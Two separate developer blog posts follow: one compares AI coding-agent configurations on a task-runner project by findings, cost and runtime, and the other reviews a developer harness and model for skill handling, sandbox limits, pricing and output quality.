High handled the interactions between retries and persisted state more completely, but its implementation run took about 48 minutes against medium's 31. In a separate review of the same Sol implementation, medium found a startup failure that high missed.

I ran this comparison to choose a default after GPT-5.6 Sol high.

The work behind the comparison

I used Galley, my tool for unattended development. It takes queued tasks through environment preparation, implementation, and verification. When a task is retried, it should preserve the agent's previous work and reuse preparation that is still valid.

The four conditions were Astra low, medium, and high, plus Sol high. First, each analyzed the repository for bugs, performance problems, and maintainability improvements. I selected a common implementation scope from the Astra findings and gave all four the same plan in separate worktrees. Finally, fresh sessions reviewed identical copies of Sol's implementation.

The sessions ran in Codex CLI. The agents read guidance from codex-workflows, including its coding, testing, and development-judgment skills, together with Galley's repository instructions and quality profile. The plan stated the expected behavior and constraints; the agents chose the design, order of work, and verification. These are the conditions I use for my own work.

What counted as a good result

In my own agent workflows, I have repeatedly seen technically defensible suggestions turn into more machinery than the product needs. I wanted to know how much of that expansion each condition could avoid without being steered through every decision.

I assessed whether the agents found consequential problems, proposed sound fixes, and selected work worth maintaining. During implementation, they also had to carry the plan through to working, verified behavior without being walked through it.

A small edge case could score well. Removing unnecessary path manipulation or reusing a sound lock can make a system simpler. A new recovery protocol has more to justify. I did not count findings or changed lines as a measure of quality.

The analysis phase supplied a concrete example. Galley intentionally allows an operator to requeue a running task. Low and medium proposed restricting that operation. High checked the documented intent and existing test, then left it out of its formal findings. For an unattended tool with an explicit manual override, removing that override is a product decision. Tidier state transitions alone do not justify it.

I checked findings against the code and tests, and credited deliberate exclusions only when the report or visible session history supported them. The evaluation notes contain the scoring criteria, reasons for the weights, findings, and full usage breakdown.

A preparation step that invalidated itself

The most useful implementation difference was easy to overlook in a passing test suite.

Before an implementation agent starts, Galley can prepare the environment and create acceptance-test skeletons: starter tests tied to the task's requirements. If the task runs again with the same inputs, those successful preparation steps should be reusable.

All four implementations added fingerprints to detect changed inputs. But Galley also writes information into the task during execution. Creating a skeleton adds an explanation to an acceptance criterion. Include that explanation in the next fingerprint, and the successful preparation step invalidates its own result.

Low, medium, and Sol left a version of that problem in the setup reuse path. High separated the generated explanation from the user-supplied contract. It followed the change through preparation, task updates, and the next run.

An unnecessary preparation run means another wait and another model invocation. It can also send a creator back into test files the implementation agent has already edited. Preserving valid reuse was part of the requirement, just as detecting changed inputs was.

High's other choices were often modest. For large Git change sets, it extended an existing way to pass paths through standard input. For corrupt task records, it reused the existing isolation logic. It covered more behavior without inventing a separate mechanism for each case.

I am taking that implementation forward in this Galley PR. It needs further review and edits. The first CI run passed on Linux and macOS but failed on Windows when a timeout test tried to clean up a log file still held open.

Medium found the earlier failure

Medium's implementation addressed the same plan and generally extended existing mechanisms. It left the setup reuse gap described above. At about $15.61 and 31 minutes, though, it produced a substantial change for less than high's $21.03 and 48 minutes.

Then came the review phase. All four reviewed the same Sol code, so differences here describe their reviewing rather than their own implementations.

Sol had added recovery for corrupt task files whose claims had expired. A claim records that a worker has taken a task. Medium followed startup and found an earlier recovery step: if a corrupt task still had an owner record from an interrupted worker, startup failed before reaching the new recovery code. Unrelated queued tasks never got a chance to run.

Medium reproduced that through the actual daemon startup function. It had found a repair that could look complete locally while leaving the application unable to start.

High's review caught more of the input lifecycle and another reason ordinary requeue operations invalidated preparation results. It did not catch this startup failure. For my workflow, that is a reason to keep a fresh review session even when I pay for high during implementation.

Low did not save much here

Low was slightly cheaper than medium during implementation, but its analysis run cost more. Across the three phases, medium was cheaper overall.

Low's review did identify a data-loss path: reusing an edited input file succeeded, but a later failure while saving evidence could delete that file. Its proposed correction was small and appropriate. Roll back files created by the current attempt; preserve files brought forward from an earlier one. The review missed preparation reuse and other recovery paths.

I would still try low for a small, well-defined edit. This experiment used broad repository work and does not establish how the two compare on that smaller category.

Sol's review was stronger than its implementation

Sol's implementation missed repeated input cleanup. It also retained both old and new scheduling paths, with some tests still exercising the old path. Future changes would have two versions of similar behavior to keep aligned.

Its review found problems no Astra report included. One was another preparation-reuse failure: setup saved a learned environment profile, but its success fingerprint still described the profile from before that update. The next run rejected its own successful setup evidence. I checked this through profile persistence, reloading, and the reuse decision.

Sol also caught a missing shutdown check before taking more queued work and a repository check that rejected valid paths with different capitalization on macOS.

Some remedies needed more scrutiny. Galley tracks child processes in registry files. Sol correctly identified an unsafe fallback to an old shared registry, but declared new ownership metadata necessary before establishing whether the fallback could be retired with a clear migration procedure. I counted that against judgment: the problem deserved a fix, while the proposed extra state still needed a reason to exist.

Sol's implementation result would have been a poor basis for predicting the value of its review.

The price of a completed run

These are the totals for one analysis, one implementation, and one review run per condition:

Condition	API-equivalent cost	Combined elapsed time
Astra low	$26.97	About 49 minutes
Astra medium	$25.67	About 51 minutes
Astra high	$37.23	About 77 minutes
Sol high	$31.79	About 75 minutes

Medium cost about 19% less than Sol high. High cost about 17% more than Sol high, but about 45% more than medium. High's premium depends on which starting point you are considering.

The implementation runs differed sharply in how many model requests they made: 238 for Sol, 80 for medium, and 107 for high. Medium accumulated about 11.1 million input tokens against Sol's 37.8 million, and generated about 50,000 output tokens against 98,000. The bill depends on those token volumes and their cache breakdown, not the request count alone. On this task, medium's lower usage more than offset Astra's higher per-token rates.

These are API equivalents calculated from session usage, not charges allocated from my Codex subscription. They exclude the evaluator's work and subsequent corrections. Approval-wait overhead was estimated from the logs; the sessions ran concurrently on one machine. The resource document separates the phases and explains the calculation.

What I will use next

Medium is my starting point for the next broad Galley task. I would choose high up front when the work crosses retries, ownership, and persisted state, where missing a related path leaves me with another round of repair. In this implementation, high kept preparation reusable across task updates and handled recovery paths the other implementations left incomplete.

This was one run per condition on one repository. The evaluation was model-assisted, and I challenged and revised assessments when their reasoning or attribution was wrong. The final scoring was not blind. I trust the concrete failures and fixes more than small differences between numerical scores.

My next check is whether this choice reduces the work I have to repair afterward. I will still use a separate review pass. Medium's startup finding would have been lost if I had assumed high already covered everything.

Muse Spark 1.3 - A Review

Federico Ramirez — Fri, 04 Sep 2026 03:56:36 GMT

In this post I'll talk about my brief experience with muse, Meta's LLM harness for developers, as well as Muse Spark 1.3, their latest frontier-level model.

The Bad

I'll start with the bad, just because I like to end with the positive :)

Skill Usage

It's not that good following skills. If the skill has disable-model-invocation, sometimes it refuses to launch it, even if you manually call it. I think it happens when you call the skill mid-sentence, but it's not consistent.

It's also not as good as other models at following skill instructions. It seems to get confused more often.

For example, I have one skill that will address an issue from GitHub to PR.

In Claude (Opus 5) and Cursor (Grok 4.6) it works perfectly. The first step is grilling the issue, after that's finished, the next step is autonomous, plan, implement with TDD, review and open PR.

With Muse Spark 1.3, sometimes the skill will not continue and I have to nudge it for the next step, just saying something like "continue" is enough, but surely is annoying.

Formatting

The output is not great. Sometimes it will show me raw markdown, sometimes not. It's not consistent.

Sandbox

Having a sandbox is good, but in this case, it's a bit too restrictive. For example, I'm working with a Firebase project and I want to use the emulators.

Well, too bad. The sandbox doesn't allow you to run files outside your workspace or use external ports.

That would be great if I could add exceptions or some kind of configuration, but you can't. You are basically forced into --yolo mode if you don't want to be prompted on repeat for the same things over and over.

What's sad is that even if you want to give them access, the models will just get stuck asking for permissions for the same thing over and over again and eventually they will just be stuck doing nothing.

The Good

Not everything is bad, of course. With a bit of effort I think it's actually quite usable.

Price

The main reason I decided to try the model. The subscription plan is relatively generous for it's price. With the $15 plan you can code non-stop for a couple hours, in my experience around 2 to 4 hours, before you reach the 5-hour limit.

But of course, it depends on your usage. If you have a lot of concurrent sessions, it will last less.

Also the weekly usage is a bit low, I'd say around 4-5 times the 5 hour limit (~25h).

I think compared to other plans though it's probably one of the best values. For $50 you can get ~33% more usage, which should be enough for ~11.5hs of coding a day. Quite decent for that price tag.

Intelligence

My biggest hurdles with the model have been in the actual development flow. When it comes to general intelligence and code, I think it's quite good. It feels around Opus 4.8 / Grok 4.6. Of course, that's totally subjective.

I think the code it generates is very similar to most other frontier models. I don't think anyone can really tell what model generated what output nowadays anyway, they are all quite competent.

Output

Unlike Claude which speaks a weird dialect of english, called claudish by most devs, the output from this model seems to be much more readable in general.

In my experience I rarely need to tell it to re-word what it just said.

Speed

I think the model speed is quite good. I think the time to first token is average, but after that it feels pretty fast.

Conclusion

Overall, I think this whole ecosystem is still a bit rough around the edges, but if you are willing to work around that, it's an usable model and harness.

Probably it will be much better in a couple months. It's clear they are playing catch-up at this point. But they (Meta) seems to have the tools (model, data centers, engineers), so they have a real shot at creating a good product.

I don't think there's a real reason to swap from, say, Codex, Claude or Cursor unless you want to try something new, or maybe are looking for a cheaper alternative.

Let me know what you think in the comments, I'd love to hear other people's opinions about this model/harness!